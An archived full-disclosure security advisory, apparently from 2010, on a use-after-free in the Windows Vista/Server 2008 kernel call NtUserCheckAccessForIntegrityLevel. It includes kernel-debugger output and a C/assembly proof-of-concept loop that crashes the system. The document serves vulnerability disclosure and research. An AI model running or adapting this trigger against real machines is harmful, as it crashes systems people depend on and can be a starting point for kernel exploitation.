what you don't know can hurt you

NtUserCheckAccessForIntegrityLevel Use-After-Free Vulnerability

NtUserCheckAccessForIntegrityLevel Use-After-Free Vulnerability
Posted Jul 2, 2010
Authored by MSRC

Microsoft Windows Vista / Server 2008 suffer from a NtUserCheckAccessForIntegrityLevel use-after-free vulnerability.

tags | exploit
systems | windows, vista
MD5 | fdba133e4a620dc779f96bacc2564474

NtUserCheckAccessForIntegrityLevel Use-After-Free Vulnerability

Change Mirror Download
Windows Vista/Server 2008 NtUserCheckAccessForIntegrityLevel Use-
after-free Vulnerability

Intro:

Due to hostility toward security researchers, the most recent
example being of Tavis Ormandy, a number of us from the industry
(and some not from the industry) have come together to form MSRC:
the Microsoft-Spurned Researcher Collective. MSRC will fully
disclose vulnerability information discovered in our free time,
free from retaliation against us or any inferred employer.

Vulnerability report:

win32k!NtUserCheckAccessForIntegrityLevel in Vista/Server 2008
calls LockProcessByClientId() on the specified ClientID. When this
call fails, the refcount will be first decremented by
nt!ObfDereferenceObject and then by
win32k!NtUserCheckAccessForIntegrityLevel again, resulting in a
refcount leak. The refcount leak can be abused to have an in-use
process object deleted. (use-after-free)

Some debugging info:

kd> vertarget
Windows Server 2008 Kernel Version 6002 (SP2)
kd> LM m win32k
start end module name
8d460000 8d663000 win32k
kd> BA e 1 8d58d710 "dt nt!_OBJECT_HEADER @edx PointerCount; g"
kd> g
+0x000 PointerCount : 145
+0x000 PointerCount : 144
+0x000 PointerCount : 143
...
+0x000 PointerCount : 3
+0x000 PointerCount : 2
+0x000 PointerCount : 1
*** Fatal System Error: 0x00000018
kd> kc
nt!KeBugCheck2
nt!ObfDereferenceObject
win32k!NtUserCheckAccessForIntegrityLevel
nt!KiFastCallEntry

The vulnerability can be triggered in one line below, where 4 is
just the PID of PsInitialSystemProcess.

while (1) NtUserCheckAccessForIntegrityLevel(4, 0, NULL);

Since there's no exported stub for this system call, you'll have to
craft the call manually. sysenter is your friend.

http://j00ru.vexillium.org/win32k_syscalls/

POC:
#include <windows.h>
#define LEAK_ME 0x1151
int main(int argc, char *argv[])
{
/* get us some win32k! */
LoadLibrary("user32");
while (1) {
__asm {
mov eax, LEAK_ME
push 0
push 0
push 4
lea edx, dword ptr [esp]
int 0x2e
}
}
}

Workaround:

Microsoft can workaround these advisories by locating the following
registry key: HKCU\Microsoft\Windows\CurrentVersion\Security and
changing the "OurJob" boolean value to FALSE.

We at MSRC would like to help you, the users, work around this
issue, but PatchGuard will not allow us ;-(

Current MSRC Members (alphabetical order!):
XX XXXXXX
XXXX XXXXXXXX
XXXXX XXX
XXXXXXX XXXXXXX
XXXXXX XXXXXXXXX
XXXXX XXXXXXXX

If you wish to responsibly disclose a vulnerability through full
disclosure or want to join our team, fire off an email to: msrc-
disclosure@hushmail.com

We do have a vetting process by the way, for any Microsoft
employees trying to join ;-)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    10 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close